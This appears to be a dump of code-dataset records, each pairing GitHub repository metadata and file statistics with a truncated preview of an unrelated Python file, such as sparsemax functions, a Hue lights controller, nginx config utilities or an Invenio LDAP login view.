e730923173d6165ff991f322cce7b078b98b427d | 3,163 | py | Python | engine/api/gcp/tasks/system_add_new_usecase.py | torrotitans/torro_community | a3f153e69a860f0d6c831145f529d9e92193a0ae | [
"MIT"
] | 1 | 2022-01-12T08:31:59.000Z | 2022-01-12T08:31:59.000Z | engine/api/gcp/tasks/system_add_new_usecase.py | torrotitans/torro_community | a3f153e69a860f0d6c831145f529d9e92193a0ae | [
"MIT"
] | null | null | null | engine/api/gcp/tasks/system_add_new_usecase.py | torrotitans/torro_community | a3f153e69a860f0d6c831145f529d9e92193a0ae | [
"MIT"
] | 2 | 2022-01-19T06:26:32.000Z | 2022-01-26T15:25:15.000Z | from api.gcp.tasks.baseTask import baseTask
from db.usecase.db_usecase_mgr import usecase_mgr
from googleapiclient.errors import HttpError
from utils.status_code import response_code
import traceback
import json
import logging
logger = logging.getLogger("main.api.gcp.tasks" + __name__)
class system_add_new_usecase(bas... | 44.549296 | 121 | 0.5773 | 362 | 3,163 | 4.720994 | 0.28453 | 0.04096 | 0.081919 | 0.055588 | 0.229959 | 0.156817 | 0.118198 | 0.079579 | 0.079579 | 0.079579 | 0 | 0.002663 | 0.287702 | 3,163 | 71 | 122 | 44.549296 | 0.755881 | 0.085678 | 0 | 0.183333 | 0 | 0 | 0.174697 | 0.030503 | 0 | 0 | 0 | 0 | 0 | 1 | 0.033333 | false | 0 | 0.116667 | 0 | 0.3 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e731796d279cf969e12aff158cf9fea92faa20ea | 1,394 | py | Python | allies/management/commands/volley_ally.py | kevincornish/HeckGuide | eb974d6b589908f5fc2308d41032a48941cc3d21 | [
"MIT"
] | 4 | 2022-02-16T10:19:11.000Z | 2022-03-17T03:34:26.000Z | allies/management/commands/volley_ally.py | kevincornish/HeckGuide | eb974d6b589908f5fc2308d41032a48941cc3d21 | [
"MIT"
] | 1 | 2022-02-17T14:02:31.000Z | 2022-03-31T03:56:42.000Z | allies/management/commands/volley_ally.py | kevincornish/HeckGuide | eb974d6b589908f5fc2308d41032a48941cc3d21 | [
"MIT"
] | 3 | 2022-02-17T06:13:52.000Z | 2022-03-23T21:37:21.000Z | from django.core.management.base import BaseCommand, CommandError
from api import HeckfireApi, TokenException
from django.conf import settings
import logging
logger = logging.getLogger(__name__)
class Command(BaseCommand):
help = 'Volly an ally via supplied username'
def add_arguments(self, parser):
pa... | 38.722222 | 82 | 0.607604 | 163 | 1,394 | 5.079755 | 0.503067 | 0.028986 | 0.036232 | 0.031401 | 0.033816 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002041 | 0.296987 | 1,394 | 36 | 83 | 38.722222 | 0.842857 | 0.126973 | 0 | 0.071429 | 0 | 0 | 0.131579 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.071429 | false | 0 | 0.142857 | 0 | 0.285714 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e73755fa550829d883f1573e3aa8b34fc04f814e | 7,030 | py | Python | src/tabnet/sparsemax.py | clemens33/thesis | c94e066c2fe22881a7465eb9c3859bd02138748e | [
"MIT"
] | null | null | null | src/tabnet/sparsemax.py | clemens33/thesis | c94e066c2fe22881a7465eb9c3859bd02138748e | [
"MIT"
] | null | null | null | src/tabnet/sparsemax.py | clemens33/thesis | c94e066c2fe22881a7465eb9c3859bd02138748e | [
"MIT"
] | null | null | null | from typing import Any, Tuple, Union
import torch
import torch.nn as nn
from entmax import entmax_bisect
class _Sparsemax1(torch.autograd.Function):
"""adapted from https://github.com/aced125/sparsemax/tree/master/sparsemax"""
@staticmethod
def forward(ctx: Any, input: torch.Tensor, dim: int = -1) -> to... | 32.100457 | 117 | 0.616074 | 905 | 7,030 | 4.61768 | 0.234254 | 0.039483 | 0.012922 | 0.017229 | 0.23642 | 0.160804 | 0.137832 | 0.069873 | 0.049294 | 0.049294 | 0 | 0.013069 | 0.28165 | 7,030 | 218 | 118 | 32.247706 | 0.814455 | 0.238265 | 0 | 0.183486 | 0 | 0.009174 | 0.019433 | 0 | 0 | 0 | 0 | 0.004587 | 0 | 1 | 0.110092 | false | 0 | 0.036697 | 0.018349 | 0.275229 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e737a6ff2ca452102fe4ae2d50a7bb2e06a1ab1b | 1,423 | py | Python | subseasonal_toolkit/models/deb_ecmwf/ecmwf_utils.py | UtopiaLLC/subseasonal_toolkit | 35e120a010606d10a7d94cdfbf4cb8347a234dfb | [
"MIT"
] | 2 | 2021-10-02T07:37:52.000Z | 2022-01-27T07:46:31.000Z | subseasonal_toolkit/models/deb_ecmwf/ecmwf_utils.py | UtopiaLLC/subseasonal_toolkit | 35e120a010606d10a7d94cdfbf4cb8347a234dfb | [
"MIT"
] | null | null | null | subseasonal_toolkit/models/deb_ecmwf/ecmwf_utils.py | UtopiaLLC/subseasonal_toolkit | 35e120a010606d10a7d94cdfbf4cb8347a234dfb | [
"MIT"
] | 3 | 2021-09-27T16:53:35.000Z | 2021-12-27T21:39:07.000Z | from scipy.spatial.distance import cdist, euclidean
def geometric_median(X, eps=1e-5):
"""Computes the geometric median of the columns of X, up to a tolerance epsilon.
The geometric median is the vector that minimizes the mean Euclidean norm to
each column of X.
"""
y = np.mean(X, 0)
while Tru... | 30.276596 | 99 | 0.550246 | 222 | 1,423 | 3.504505 | 0.391892 | 0.030848 | 0.046272 | 0.033419 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.042051 | 0.314828 | 1,423 | 46 | 100 | 30.934783 | 0.755897 | 0.305692 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.071429 | false | 0 | 0.035714 | 0 | 0.214286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e7390c6ea9997d92c5a59b802c520427aaf2e179 | 2,493 | py | Python | espnet2/gan_tts/vits/monotonic_align/__init__.py | roshansh-cmu/espnet | 5fa6dcc4e649dc66397c629d0030d09ecef36b80 | [
"Apache-2.0"
] | null | null | null | espnet2/gan_tts/vits/monotonic_align/__init__.py | roshansh-cmu/espnet | 5fa6dcc4e649dc66397c629d0030d09ecef36b80 | [
"Apache-2.0"
] | null | null | null | espnet2/gan_tts/vits/monotonic_align/__init__.py | roshansh-cmu/espnet | 5fa6dcc4e649dc66397c629d0030d09ecef36b80 | [
"Apache-2.0"
] | null | null | null | """Maximum path calculation module.
This code is based on https://github.com/jaywalnut310/vits.
"""
import warnings
import numpy as np
import torch
from numba import njit, prange
try:
from .core import maximum_path_c
is_cython_avalable = True
except ImportError:
is_cython_avalable = False
warnings... | 31.1625 | 88 | 0.607702 | 400 | 2,493 | 3.5625 | 0.295 | 0.092632 | 0.044211 | 0.023158 | 0.13193 | 0.10386 | 0.029474 | 0.029474 | 0.029474 | 0.029474 | 0 | 0.01978 | 0.269956 | 2,493 | 79 | 89 | 31.556962 | 0.763187 | 0.162856 | 0 | 0.08 | 0 | 0 | 0.107458 | 0.018155 | 0 | 0 | 0 | 0 | 0 | 1 | 0.06 | false | 0 | 0.12 | 0 | 0.2 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e739779fbb9f7ff0a4abdae832fc3a6922d47f68 | 620 | py | Python | plugins/mod_log.py | nfcgate/server | 51dd45e64f91e765b1a0c9d5e5f52933006fb212 | [
"Apache-2.0"
] | 25 | 2016-01-13T21:59:00.000Z | 2022-02-05T07:55:18.000Z | plugins/mod_log.py | salmg/server | e5b485c4e2517aa741ed70948a92c61c1bc73f62 | [
"Apache-2.0"
] | 3 | 2018-05-30T13:42:12.000Z | 2020-10-13T09:56:01.000Z | plugins/mod_log.py | salmg/server | e5b485c4e2517aa741ed70948a92c61c1bc73f62 | [
"Apache-2.0"
] | 19 | 2015-08-23T02:53:33.000Z | 2021-09-28T20:53:50.000Z | from plugins.c2c_pb2 import NFCData
from plugins.c2s_pb2 import ServerData
def format_data(data):
if len(data) == 0:
return ""
nfc_data = NFCData()
nfc_data.ParseFromString(data)
letter = "C" if nfc_data.data_source == NFCData.CARD else "R"
initial = "(initial) " if nfc_data.data_type ==... | 26.956522 | 88 | 0.701613 | 85 | 620 | 4.929412 | 0.388235 | 0.083532 | 0.078759 | 0.062053 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009843 | 0.180645 | 620 | 22 | 89 | 28.181818 | 0.814961 | 0 | 0 | 0 | 0 | 0 | 0.032258 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.133333 | false | 0 | 0.133333 | 0 | 0.466667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e7398960f4dd8de46cd8fd73487b06b0c4d4c812 | 3,191 | py | Python | rowboat/plugins/join.py | DeJayDev/speedboat | ecce2075b69d8e18de17fac0daa702eb59cfcddd | [
"MIT"
] | 16 | 2021-01-03T14:00:48.000Z | 2022-03-01T21:03:27.000Z | rowboat/plugins/join.py | DeJayDev/speedboat | ecce2075b69d8e18de17fac0daa702eb59cfcddd | [
"MIT"
] | 14 | 2020-11-20T07:00:09.000Z | 2022-03-12T01:02:08.000Z | rowboat/plugins/join.py | SethBots/speedboat | e516261e9d34031045c70522955e8babe3d8ec6e | [
"MIT"
] | 9 | 2018-09-12T20:50:44.000Z | 2020-06-20T15:58:52.000Z | from datetime import datetime, timedelta
import gevent
from disco.types.base import SlottedModel
from disco.types.guild import VerificationLevel
from disco.util.snowflake import to_datetime
from rowboat.plugins import RowboatPlugin as Plugin
from rowboat.types import Field, snowflake
from rowboat.types.plugin import ... | 42.546667 | 127 | 0.67095 | 391 | 3,191 | 5.378517 | 0.332481 | 0.062767 | 0.049929 | 0.063243 | 0.386591 | 0.386591 | 0.320019 | 0.287684 | 0.194009 | 0.194009 | 0 | 0.004117 | 0.238797 | 3,191 | 74 | 128 | 43.121622 | 0.861671 | 0.109683 | 0 | 0.096154 | 0 | 0.019231 | 0.083275 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.057692 | false | 0.019231 | 0.153846 | 0.019231 | 0.480769 | 0.019231 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e73ab7b64cfe244e1ca49e1be6932024a4d3924d | 7,062 | py | Python | hue/logic/action.py | dnnsmnstrr/workflows | 104b370292060b7011120e7decb3db26275ae7f5 | [
"Unlicense"
] | 4 | 2020-08-12T21:56:07.000Z | 2021-06-01T09:11:12.000Z | hue/logic/action.py | dnnsmnstrr/workflows | 104b370292060b7011120e7decb3db26275ae7f5 | [
"Unlicense"
] | null | null | null | hue/logic/action.py | dnnsmnstrr/workflows | 104b370292060b7011120e7decb3db26275ae7f5 | [
"Unlicense"
] | 1 | 2021-12-06T02:40:43.000Z | 2021-12-06T02:40:43.000Z | # encoding: utf-8
from __future__ import unicode_literals
import colorsys
import datetime
import json
import os
import random
import sys
import time
from packages.workflow import Workflow3 as Workflow
import colors
import harmony
import request
import setup
import utils
class HueAction:
def __init__(self):
... | 31.810811 | 98 | 0.534551 | 801 | 7,062 | 4.548065 | 0.235955 | 0.03294 | 0.01647 | 0.02196 | 0.217678 | 0.152896 | 0.106231 | 0.093604 | 0.093604 | 0.079056 | 0 | 0.007877 | 0.352875 | 7,062 | 222 | 99 | 31.810811 | 0.789278 | 0.059048 | 0 | 0.272727 | 0 | 0 | 0.098462 | 0.004071 | 0 | 0 | 0 | 0 | 0 | 1 | 0.048485 | false | 0.012121 | 0.084848 | 0 | 0.212121 | 0.036364 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e73aed3b29e68e999fa8e3ace630cc2cc0db89e5 | 734 | py | Python | bookshelf/accounts/urls.py | Danielvalev/bookshelf | eda857b275de49623c57e2288f86f401b87406c9 | [
"MIT"
] | null | null | null | bookshelf/accounts/urls.py | Danielvalev/bookshelf | eda857b275de49623c57e2288f86f401b87406c9 | [
"MIT"
] | null | null | null | bookshelf/accounts/urls.py | Danielvalev/bookshelf | eda857b275de49623c57e2288f86f401b87406c9 | [
"MIT"
] | null | null | null | from django.urls import path
from accounts.views import user_profile, LogoutView, LoginView, RegisterView, user_profile_edit
urlpatterns = [
# path('login/', login_user, name='login user'),
path('login/', LoginView.as_view(), name='login user'), # CBV
# path('logout/', logout_user, name='logout user'),
... | 43.176471 | 95 | 0.678474 | 94 | 734 | 5.159574 | 0.255319 | 0.181443 | 0.092784 | 0.065979 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.144414 | 734 | 16 | 96 | 45.875 | 0.772293 | 0.30654 | 0 | 0 | 0 | 0 | 0.227545 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.222222 | 0 | 0.222222 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e73ccdac55d151051f197eec351b7129cd6e61de | 13,790 | py | Python | doc/.src/book/src/approx1D.py | hplgit/fem-book | c23099715dc3cb72e7f4d37625e6f9614ee5fc4e | [
"MIT"
] | 86 | 2015-12-17T12:57:11.000Z | 2022-03-26T01:53:47.000Z | doc/.src/book/src/approx1D.py | hplgit/fem-book | c23099715dc3cb72e7f4d37625e6f9614ee5fc4e | [
"MIT"
] | 9 | 2017-04-16T21:57:29.000Z | 2021-04-17T08:09:30.000Z | doc/.src/book/src/approx1D.py | hplgit/fem-book | c23099715dc3cb72e7f4d37625e6f9614ee5fc4e | [
"MIT"
] | 43 | 2016-03-11T19:33:14.000Z | 2022-03-05T00:21:57.000Z | """
Approximation of functions by linear combination of basis functions in
function spaces and the least squares method or the collocation method
for determining the coefficients.
"""
from __future__ import print_function
import sympy as sym
import numpy as np
import mpmath
import matplotlib.pyplot as plt
#import sci... | 36.005222 | 78 | 0.570631 | 2,136 | 13,790 | 3.645599 | 0.1353 | 0.01053 | 0.018492 | 0.033903 | 0.527931 | 0.498138 | 0.458713 | 0.453833 | 0.442789 | 0.435726 | 0 | 0.015483 | 0.283394 | 13,790 | 382 | 79 | 36.099476 | 0.772516 | 0.266715 | 0 | 0.557252 | 0 | 0 | 0.077495 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.038168 | false | 0 | 0.026718 | 0 | 0.09542 | 0.141221 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e7422355175454fcfb89f48ad2d00d9c5dd1fa0e | 2,532 | py | Python | dash_website/utils/controls.py | SamuelDiai/Dash-Website | e064e432f14a86de1b54cf31ab311997c5643129 | [
"MIT"
] | null | null | null | dash_website/utils/controls.py | SamuelDiai/Dash-Website | e064e432f14a86de1b54cf31ab311997c5643129 | [
"MIT"
] | null | null | null | dash_website/utils/controls.py | SamuelDiai/Dash-Website | e064e432f14a86de1b54cf31ab311997c5643129 | [
"MIT"
] | null | null | null | import dash_bootstrap_components as dbc
import dash_core_components as dcc
import dash_html_components as html
def get_options_from_list(list_):
list_label_value = []
for value in list_:
list_label_value.append({"value": value, "label": value})
return list_label_value
def get_options_from_dict(d... | 25.836735 | 105 | 0.554502 | 296 | 2,532 | 4.523649 | 0.233108 | 0.059746 | 0.083645 | 0.0941 | 0.584765 | 0.465273 | 0.384615 | 0.314414 | 0.212099 | 0.212099 | 0 | 0.004759 | 0.336098 | 2,532 | 97 | 106 | 26.103093 | 0.791791 | 0 | 0 | 0.455696 | 0 | 0 | 0.040284 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.075949 | false | 0 | 0.037975 | 0.012658 | 0.189873 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e745fb5c2bd82701b4b6fe87fdf23d2d1913eabb | 2,333 | py | Python | hedwig/test.py | Cool-tong/covid | 389c490e60f7b854369e0600b6dfc071baceaa7e | [
"Apache-2.0"
] | 15 | 2020-06-25T21:44:41.000Z | 2022-01-14T23:41:50.000Z | hedwig/test.py | Cool-tong/covid | 389c490e60f7b854369e0600b6dfc071baceaa7e | [
"Apache-2.0"
] | 9 | 2021-03-31T19:48:34.000Z | 2022-03-12T00:34:28.000Z | hedwig/test.py | Cool-tong/covid | 389c490e60f7b854369e0600b6dfc071baceaa7e | [
"Apache-2.0"
] | 8 | 2020-09-16T10:29:14.000Z | 2022-01-16T17:53:41.000Z | # from transformers import ReformerModel, ReformerTokenizer
# import torch
#
# tokenizer = ReformerTokenizer.from_pretrained('google/reformer-crime-and-punishment')
# model = ReformerModel.from_pretrained('google/reformer-crime-and-punishment')
#
# input_ids = torch.tensor(tokenizer.encode("Hello, my dog is cute", add... | 44.865385 | 123 | 0.753965 | 309 | 2,333 | 5.521036 | 0.398058 | 0.051583 | 0.029894 | 0.036928 | 0.179367 | 0.141852 | 0.053927 | 0 | 0 | 0 | 0 | 0.017509 | 0.143163 | 2,333 | 51 | 124 | 45.745098 | 0.835918 | 0.511787 | 0 | 0 | 0 | 0 | 0.123535 | 0.087466 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.235294 | 0 | 0.235294 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e746b6586494198935ce54917af266b0ab3f32e9 | 7,091 | py | Python | nginx_parse_emit/utils.py | offscale/nginx-parse-emit | 29b020f62fe1bc8377f2c30689f4bb4c5777ec69 | [
"Apache-2.0",
"MIT"
] | null | null | null | nginx_parse_emit/utils.py | offscale/nginx-parse-emit | 29b020f62fe1bc8377f2c30689f4bb4c5777ec69 | [
"Apache-2.0",
"MIT"
] | null | null | null | nginx_parse_emit/utils.py | offscale/nginx-parse-emit | 29b020f62fe1bc8377f2c30689f4bb4c5777ec69 | [
"Apache-2.0",
"MIT"
] | null | null | null | from operator import itemgetter
from platform import python_version_tuple
from sys import version
if version[0] == "2":
from cStringIO import StringIO
else:
from functools import reduce
from io import StringIO
from copy import copy
from itertools import filterfalse
from os import remove, path
from strin... | 30.433476 | 103 | 0.608236 | 911 | 7,091 | 4.566411 | 0.218441 | 0.052885 | 0.015144 | 0.0125 | 0.202644 | 0.182692 | 0.174038 | 0.160096 | 0.110577 | 0.110577 | 0 | 0.010848 | 0.285009 | 7,091 | 232 | 104 | 30.564655 | 0.809665 | 0.158652 | 0 | 0.233918 | 0 | 0 | 0.023354 | 0.006262 | 0 | 0 | 0 | 0.00431 | 0 | 1 | 0.076023 | false | 0 | 0.081871 | 0.02924 | 0.28655 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e74a548d5928286d5e89cff8efabd8323a997dc8 | 3,006 | py | Python | tests/skillsearch/clients.py | allenai/alexafsm | 0c2e8842ddbb4a34ac64a5139e7febee3b28889a | [
"Apache-2.0"
] | 108 | 2017-05-11T22:33:39.000Z | 2022-03-04T03:04:51.000Z | tests/skillsearch/clients.py | allenai/alexafsm | 0c2e8842ddbb4a34ac64a5139e7febee3b28889a | [
"Apache-2.0"
] | null | null | null | tests/skillsearch/clients.py | allenai/alexafsm | 0c2e8842ddbb4a34ac64a5139e7febee3b28889a | [
"Apache-2.0"
] | 17 | 2017-05-12T23:26:38.000Z | 2020-04-20T19:39:54.000Z | """Client that handles query to elasticsearch"""
import string
from typing import List
from elasticsearch_dsl import Search
from alexafsm.test_helpers import recordable as rec
from elasticsearch_dsl.response import Response
from tests.skillsearch.skill_settings import SkillSettings
from tests.skillsearch.skill impo... | 37.575 | 109 | 0.633733 | 355 | 3,006 | 5.157746 | 0.31831 | 0.048061 | 0.032769 | 0.046423 | 0.254506 | 0.198252 | 0.131076 | 0.050246 | 0.050246 | 0.050246 | 0 | 0.001335 | 0.252162 | 3,006 | 79 | 110 | 38.050633 | 0.813167 | 0.098802 | 0 | 0.056604 | 0 | 0 | 0.057292 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.169811 | false | 0 | 0.150943 | 0.056604 | 0.490566 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e74bee176de16cba930d5ae5c1c4a6c4a4161b92 | 9,380 | py | Python | pypsych/schedule.py | janmtl/pypsych | 1c606342dbdb984bc06aa9fd26963f3ce0a378b1 | [
"BSD-3-Clause"
] | null | null | null | pypsych/schedule.py | janmtl/pypsych | 1c606342dbdb984bc06aa9fd26963f3ce0a378b1 | [
"BSD-3-Clause"
] | null | null | null | pypsych/schedule.py | janmtl/pypsych | 1c606342dbdb984bc06aa9fd26963f3ce0a378b1 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Includes the Schedule class, validation functions, and compilation functions
for compiling a schedule of files to process.
Methods:
compile: shortcut for validating the loaded configuration, then
performing the search, and _resolve functions
load: load ... | 38.921162 | 79 | 0.552452 | 1,049 | 9,380 | 4.753098 | 0.203051 | 0.070197 | 0.050742 | 0.02868 | 0.224027 | 0.170678 | 0.13197 | 0.094665 | 0.056358 | 0.041115 | 0 | 0.001502 | 0.361301 | 9,380 | 240 | 80 | 39.083333 | 0.830746 | 0.269403 | 0 | 0.122302 | 0 | 0 | 0.084354 | 0.003477 | 0 | 0 | 0 | 0.008333 | 0 | 1 | 0.115108 | false | 0 | 0.043165 | 0 | 0.223022 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e74d4d6162ae8c2a70fd86d11e2efc802d6df3be | 1,202 | py | Python | figthesis/figshape.py | Gattocrucco/sipmfilter | 74215d6c53b998808fc6c677b46030234d996bdf | [
"CC-BY-4.0",
"MIT"
] | null | null | null | figthesis/figshape.py | Gattocrucco/sipmfilter | 74215d6c53b998808fc6c677b46030234d996bdf | [
"CC-BY-4.0",
"MIT"
] | null | null | null | figthesis/figshape.py | Gattocrucco/sipmfilter | 74215d6c53b998808fc6c677b46030234d996bdf | [
"CC-BY-4.0",
"MIT"
] | null | null | null | import numpy as np
from matplotlib import pyplot as plt
import figlatex
import template
import afterpulse_tile21
styles = {
5.5: dict(color='#f55'),
7.5: dict(hatch='//////', facecolor='#0000'),
9.5: dict(edgecolor='black', facecolor='#0000'),
}
fig, ax = plt.subplots(num='figshape', clear=True, figsize=... | 24.04 | 107 | 0.62396 | 170 | 1,202 | 4.364706 | 0.570588 | 0.020216 | 0.037736 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.042887 | 0.204659 | 1,202 | 49 | 108 | 24.530612 | 0.733264 | 0 | 0 | 0 | 0 | 0 | 0.091514 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.151515 | 0 | 0.151515 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e74e18233e68e6e6e2b6b4650e8d71aa16535204 | 5,559 | py | Python | eFELunit/utils.py | appukuttan-shailesh/eFELunit | 055385254875249293da72c1daf2d489033cb9da | [
"BSD-3-Clause"
] | null | null | null | eFELunit/utils.py | appukuttan-shailesh/eFELunit | 055385254875249293da72c1daf2d489033cb9da | [
"BSD-3-Clause"
] | null | null | null | eFELunit/utils.py | appukuttan-shailesh/eFELunit | 055385254875249293da72c1daf2d489033cb9da | [
"BSD-3-Clause"
] | null | null | null | """
Module for loading BluePyOpt optimized model files
"""
import os
import sciunit
from neuronunit.capabilities import ReceivesSquareCurrent, ProducesMembranePotential, Runnable
from neuron import h
import neo
from quantities import ms
import zipfile
import json
import collections
class CellModel(sciunit.Model,
... | 40.282609 | 135 | 0.589674 | 701 | 5,559 | 4.536377 | 0.296719 | 0.024528 | 0.037736 | 0.030818 | 0.178616 | 0.142138 | 0.096541 | 0.086164 | 0.07673 | 0.025157 | 0 | 0.010299 | 0.301313 | 5,559 | 137 | 136 | 40.576642 | 0.808445 | 0.129879 | 0 | 0.029703 | 0 | 0 | 0.125791 | 0.00591 | 0 | 0 | 0 | 0 | 0 | 1 | 0.059406 | false | 0.009901 | 0.089109 | 0 | 0.168317 | 0.049505 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e7505d6ec1c66fa5c31c1b68248657004784ebb2 | 5,401 | py | Python | invenio_ldapclient/views.py | galterlibrary/invenio-ldapclient | 48b24b5bf46fd40c22dce042f54eaab6b7d377c3 | [
"MIT"
] | 1 | 2018-12-25T23:18:35.000Z | 2018-12-25T23:18:35.000Z | invenio_ldapclient/views.py | galterlibrary/invenio-ldapclient | 48b24b5bf46fd40c22dce042f54eaab6b7d377c3 | [
"MIT"
] | 6 | 2018-12-12T17:15:11.000Z | 2020-01-22T14:00:07.000Z | invenio_ldapclient/views.py | galterlibrary/invenio-ldapclient | 48b24b5bf46fd40c22dce042f54eaab6b7d377c3 | [
"MIT"
] | null | null | null | """Invenio-LDAPClient login view."""
from __future__ import absolute_import, print_function
import uuid
from flask import Blueprint, after_this_request
from flask import current_app as app
from flask import flash, redirect, render_template, request
from flask_security import login_user
